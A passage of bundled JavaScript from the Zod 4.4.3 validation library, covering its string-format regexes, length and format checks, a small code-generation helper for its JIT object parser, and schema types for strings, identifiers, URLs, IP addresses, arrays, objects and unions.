`${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time$1(args) {\n return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime$1(args) {\n const time = timeSource({ precision: args.precision });\n const opts = [\"Z\"];\n if (args.local) opts.push(\"\");\n if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n const timeRegex = `${time}(?:${opts.join(\"|\")})`;\n return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst string$1 = (params) => {\n const regex = params ? `[\\\\s\\\\S]{${params?.minimum ?? 0},${params?.maximum ?? \"\"}}` : `[\\\\s\\\\S]*`;\n return new RegExp(`^${regex}$`);\n};\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n var _a;\n inst._zod ?? (inst._zod = {});\n inst._zod.def = def;\n (_a = inst._zod).onattach ?? (_a.onattach = []);\n});\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.maximum ?? Number.POSITIVE_INFINITY;\n if (def.maximum < curr) inst._zod.bag.maximum = def.maximum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length <= def.maximum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_big\",\n maximum: def.maximum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.minimum ?? Number.NEGATIVE_INFINITY;\n if (def.minimum > curr) inst._zod.bag.minimum = def.minimum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length >= def.minimum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_small\",\n minimum: def.minimum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.minimum = def.length;\n bag.maximum = def.length;\n bag.length = def.length;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n const length = input.length;\n if (length === def.length) return;\n const origin = getLengthableOrigin(input);\n const tooBig = length > def.length;\n payload.issues.push({\n origin,\n ...tooBig ? {\n code: \"too_big\",\n maximum: def.length\n } : {\n code: \"too_small\",\n minimum: def.length\n },\n inclusive: true,\n exact: true,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n var _a, _b;\n $ZodCheck.init(inst, def);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.format = def.format;\n if (def.pattern) {\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(def.pattern);\n }\n });\n if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: def.format,\n input: payload.value,\n ...def.pattern ? { pattern: def.pattern.toString() } : {},\n inst,\n continue: !def.abort\n });\n });\n else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"regex\",\n input: payload.value,\n pattern: def.pattern.toString(),\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n def.pattern ?? (def.pattern = lowercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n def.pattern ?? (def.pattern = uppercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const escapedRegex = escapeRegex(def.includes);\n const pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position}}${escapedRegex}` : escapedRegex);\n def.pattern = pattern;\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.includes(def.includes, def.position)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"includes\",\n includes: def.includes,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.startsWith(def.prefix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"starts_with\",\n prefix: def.prefix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.endsWith(def.suffix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"ends_with\",\n suffix: def.suffix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n $ZodCheck.init(inst, def);\n inst._zod.check = (payload) => {\n payload.value = def.tx(payload.value);\n };\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n constructor(args = []) {\n this.content = [];\n this.indent = 0;\n if (this) this.args = args;\n }\n indented(fn) {\n this.indent += 1;\n fn(this);\n this.indent -= 1;\n }\n write(arg) {\n if (typeof arg === \"function\") {\n arg(this, { execution: \"sync\" });\n arg(this, { execution: \"async\" });\n return;\n }\n const lines = arg.split(\"\\n\").filter((x) => x);\n const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n for (const line of dedented) this.content.push(line);\n }\n compile() {\n const F = Function;\n const args = this?.args;\n const lines = [...(this?.content ?? [``]).map((x) => ` ${x}`)];\n return new F(...args, lines.join(\"\\n\"));\n }\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js\nconst version = {\n major: 4,\n minor: 4,\n patch: 3\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n var _a;\n inst ?? (inst = {});\n inst._zod.def = def;\n inst._zod.bag = inst._zod.bag || {};\n inst._zod.version = version;\n const checks = [...inst._zod.def.checks ?? []];\n if (inst._zod.traits.has(\"$ZodCheck\")) checks.unshift(inst);\n for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n if (checks.length === 0) {\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n inst._zod.deferred?.push(() => {\n inst._zod.run = inst._zod.parse;\n });\n } else {\n const runChecks = (payload, checks, ctx) => {\n let isAborted = aborted(payload);\n let asyncResult;\n for (const ch of checks) {\n if (ch._zod.def.when) {\n if (explicitlyAborted(payload)) continue;\n if (!ch._zod.def.when(payload)) continue;\n } else if (isAborted) continue;\n const currLen = payload.issues.length;\n const _ = ch._zod.check(payload);\n if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n await _;\n if (payload.issues.length === currLen) return;\n if (!isAborted) isAborted = aborted(payload, currLen);\n });\n else {\n if (payload.issues.length === currLen) continue;\n if (!isAborted) isAborted = aborted(payload, currLen);\n }\n }\n if (asyncResult) return asyncResult.then(() => {\n return payload;\n });\n return payload;\n };\n const handleCanaryResult = (canary, payload, ctx) => {\n if (aborted(canary)) {\n canary.aborted = true;\n return canary;\n }\n const checkResult = runChecks(payload, checks, ctx);\n if (checkResult instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n }\n return inst._zod.parse(checkResult, ctx);\n };\n inst._zod.run = (payload, ctx) => {\n if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n if (ctx.direction === \"backward\") {\n const canary = inst._zod.parse({\n value: payload.value,\n issues: []\n }, {\n ...ctx,\n skipChecks: true\n });\n if (canary instanceof Promise) return canary.then((canary) => {\n return handleCanaryResult(canary, payload, ctx);\n });\n return handleCanaryResult(canary, payload, ctx);\n }\n const result = inst._zod.parse(payload, ctx);\n if (result instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return result.then((result) => runChecks(result, checks, ctx));\n }\n return runChecks(result, checks, ctx);\n };\n }\n defineLazy(inst, \"~standard\", () => ({\n validate: (value) => {\n try {\n const r = safeParse$1(inst, value);\n return r.success ? { value: r.data } : { issues: r.error?.issues };\n } catch (_) {\n return safeParseAsync$1(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues });\n }\n },\n vendor: \"zod\",\n version: 1\n }));\n});\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string$1(inst._zod.bag);\n inst._zod.parse = (payload, _) => {\n if (def.coerce) try {\n payload.value = String(payload.value);\n } catch (_) {}\n if (typeof payload.value === \"string\") return payload;\n payload.issues.push({\n expected: \"string\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n $ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n def.pattern ?? (def.pattern = guid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n if (def.version) {\n const v = {\n v1: 1,\n v2: 2,\n v3: 3,\n v4: 4,\n v5: 5,\n v6: 6,\n v7: 7,\n v8: 8\n }[def.version];\n if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n def.pattern ?? (def.pattern = uuid(v));\n } else def.pattern ?? (def.pattern = uuid());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n def.pattern ?? (def.pattern = email);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n try {\n const trimmed = payload.value.trim();\n if (!def.normalize && def.protocol?.source === httpProtocol.source) {\n if (!/^https?:\\/\\//i.test(trimmed)) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid URL format\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n return;\n }\n }\n const url = new URL(trimmed);\n if (def.hostname) {\n def.hostname.lastIndex = 0;\n if (!def.hostname.test(url.hostname)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid hostname\",\n pattern: def.hostname.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.protocol) {\n def.protocol.lastIndex = 0;\n if (!def.protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid protocol\",\n pattern: def.protocol.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.normalize) payload.value = url.href;\n else payload.value = trimmed;\n return;\n } catch (_) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n def.pattern ?? (def.pattern = emoji());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n def.pattern ?? (def.pattern = nanoid);\n $ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid2);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n def.pattern ?? (def.pattern = ulid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n def.pattern ?? (def.pattern = xid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n def.pattern ?? (def.pattern = ksuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n def.pattern ?? (def.pattern = datetime$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n def.pattern ?? (def.pattern = date$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n def.pattern ?? (def.pattern = time$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n def.pattern ?? (def.pattern = duration$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv4);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv4`;\n});\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv6`;\n inst._zod.check = (payload) => {\n try {\n new URL(`http://[${payload.value}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"ipv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv4);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n const parts = payload.value.split(\"/\");\n try {\n if (parts.length !== 2) throw new Error();\n const [address, prefix] = parts;\n if (!prefix) throw new Error();\n const prefixNum = Number(prefix);\n if (`${prefixNum}` !== prefix) throw new Error();\n if (prefixNum < 0 || prefixNum > 128) throw new Error();\n new URL(`http://[${address}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"cidrv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nfunction isValidBase64(data) {\n if (data === \"\") return true;\n if (/\\s/.test(data)) return false;\n if (data.length % 4 !== 0) return false;\n try {\n atob(data);\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n def.pattern ?? (def.pattern = base64);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64\";\n inst._zod.check = (payload) => {\n if (isValidBase64(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nfunction isValidBase64URL(data) {\n if (!base64url.test(data)) return false;\n const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n def.pattern ?? (def.pattern = base64url);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64url\";\n inst._zod.check = (payload) => {\n if (isValidBase64URL(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n def.pattern ?? (def.pattern = e164);\n $ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n try {\n const tokensParts = token.split(\".\");\n if (tokensParts.length !== 3) return false;\n const [header] = tokensParts;\n if (!header) return false;\n const parsedHeader = JSON.parse(atob(header));\n if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n if (!parsedHeader.alg) return false;\n if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n if (isValidJWT(payload.value, def.alg)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"jwt\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _ctx) => {\n payload.issues.push({\n expected: \"never\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nfunction handleArrayResult(result, final, index) {\n if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!Array.isArray(input)) {\n payload.issues.push({\n expected: \"array\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = Array(input.length);\n const proms = [];\n for (let i = 0; i < input.length; i++) {\n const item = input[i];\n const result = def.element._zod.run({\n value: item,\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n else handleArrayResult(result, payload, i);\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nfunction handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) {\n const isPresent = key in input;\n if (result.issues.length) {\n if (isOptionalIn && isOptionalOut && !isPresent) return;\n final.issues.push(...prefixIssues(key, result.issues));\n }\n if (!isPresent && !isOptionalIn) {\n if (!result.issues.length) final.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: void 0,\n path: [key]\n });\n return;\n }\n if (result.value === void 0) {\n if (isPresent) final.value[key] = void 0;\n } else final.value[key] = result.value;\n}\nfunction normalizeDef(def) {\n const keys = Object.keys(def.shape);\n for (const k of keys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${k}\": expected a Zod schema`);\n const okeys = optionalKeys(def.shape);\n return {\n ...def,\n keys,\n keySet: new Set(keys),\n numKeys: keys.length,\n optionalKeys: new Set(okeys)\n };\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst) {\n const unrecognized = [];\n const keySet = def.keySet;\n const _catchall = def.catchall._zod;\n const t = _catchall.def.type;\n const isOptionalIn = _catchall.optin === \"optional\";\n const isOptionalOut = _catchall.optout === \"optional\";\n for (const key in input) {\n if (key === \"__proto__\") continue;\n if (keySet.has(key)) continue;\n if (t === \"never\") {\n unrecognized.push(key);\n continue;\n }\n const r = _catchall.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (unrecognized.length) payload.issues.push({\n code: \"unrecognized_keys\",\n keys: unrecognized,\n input,\n inst\n });\n if (!proms.length) return payload;\n return Promise.all(proms).then(() => {\n return payload;\n });\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n $ZodType.init(inst, def);\n if (!Object.getOwnPropertyDescriptor(def, \"shape\")?.get) {\n const sh = def.shape;\n Object.defineProperty(def, \"shape\", { get: () => {\n const newSh = { ...sh };\n Object.defineProperty(def, \"shape\", { value: newSh });\n return newSh;\n } });\n }\n const _normalized = cached(() => normalizeDef(def));\n defineLazy(inst._zod, \"propValues\", () => {\n const shape = def.shape;\n const propValues = {};\n for (const key in shape) {\n const field = shape[key]._zod;\n if (field.values) {\n propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set());\n for (const v of field.values) propValues[key].add(v);\n }\n }\n return propValues;\n });\n const isObject$2 = isObject;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$2(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = {};\n const proms = [];\n const shape = value.shape;\n for (const key of value.keys) {\n const el = shape[key];\n const isOptionalIn = el._zod.optin === \"optional\";\n const isOptionalOut = el._zod.optout === \"optional\";\n const r = el._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n return handleCatchall(proms, input, payload, ctx, _normalized.value, inst);\n };\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n $ZodObject.init(inst, def);\n const superParse = inst._zod.parse;\n const _normalized = cached(() => normalizeDef(def));\n const generateFastpass = (shape) => {\n const doc = new Doc([\n \"shape\",\n \"payload\",\n \"ctx\"\n ]);\n const normalized = _normalized.value;\n const parseStr = (key) => {\n const k = esc(key);\n return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n };\n doc.write(`const input = payload.value;`);\n const ids = Object.create(null);\n let counter = 0;\n for (const key of normalized.keys) ids[key] = `key_${counter++}`;\n doc.write(`const newResult = {};`);\n for (const key of normalized.keys) {\n const id = ids[key];\n const k = esc(key);\n const schema = shape[key];\n const isOptionalIn = schema?._zod?.optin === \"optional\";\n const isOptionalOut = schema?._zod?.optout === \"optional\";\n doc.write(`const ${id} = ${parseStr(key)};`);\n if (isOptionalIn && isOptionalOut) doc.write(`\n if (${id}.issues.length) {\n if (${k} in input) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n else if (!isOptionalIn) doc.write(`\n const ${id}_present = ${k} in input;\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n if (!${id}_present && !${id}.issues.length) {\n payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: undefined,\n path: [${k}]\n });\n }\n\n if (${id}_present) {\n if (${id}.value === undefined) {\n newResult[${k}] = undefined;\n } else {\n newResult[${k}] = ${id}.value;\n }\n }\n\n `);\n else doc.write(`\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n }\n doc.write(`payload.value = newResult;`);\n doc.write(`return payload;`);\n const fn = doc.compile();\n return (payload, ctx) => fn(shape, payload, ctx);\n };\n let fastpass;\n const isObject$1 = isObject;\n const jit = !globalConfig.jitless;\n const allowsEval$1 = allowsEval;\n const fastEnabled = jit && allowsEval$1.value;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$1(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n if (!fastpass) fastpass = generateFastpass(def.shape);\n payload = fastpass(payload, ctx);\n if (!catchall) return payload;\n return handleCatchall([], input, payload, ctx, value, inst);\n }\n return superParse(payload, ctx);\n };\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n for (const result of results) if (result.issues.length === 0) {\n final.value = result.value;\n return final;\n }\n const nonaborted = results.filter((r) => !aborted(r));\n if (nonaborted.length === 1) {\n final.value = nonaborted[0].value;\n return nonaborted[0];\n }\n final.issues.push({\n code: \"invalid_union\",\n input: final.value,\n inst,\n errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n });\n return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.options.some((o) => o._zod.optin === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"optout\", () => def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"values\", () => {\n if (def.options.every((o) => o._zod.values)) return new Set(def.options.flatMap((option) => Array.from(option._zod.values)));\n });\n defineLazy(inst._zod, \"pattern\", () => {\n if (def.options.every((o) => o._zod.pattern)) {\n const patterns = def.options.map((o) => o._zod.pattern);\n return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n }\n });\n const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n inst._zod.parse = (payload, ctx) => {\n if (first) return first(payload, ctx);\n let async = false;\n const results = [];\n for (const option of def.options) {\n const result = option._zod.run({\n value: payload.value,\n issues: []\n }, ctx);\n if (result instanceof Promise) {\n results.push(result);\n async = true;\n } else {\n if (result.issues.length === 0) return result;\n results.push(result);\n }\n }\n if (!async) return handleUnionResults(results, payload, inst, ctx);\n return Promise.all(results).then((results) => {\n return handleUnionResults(results, payload, inst, ctx);\n });\n };\n});\nconst $ZodIntersection = /*@__PURE__*/ 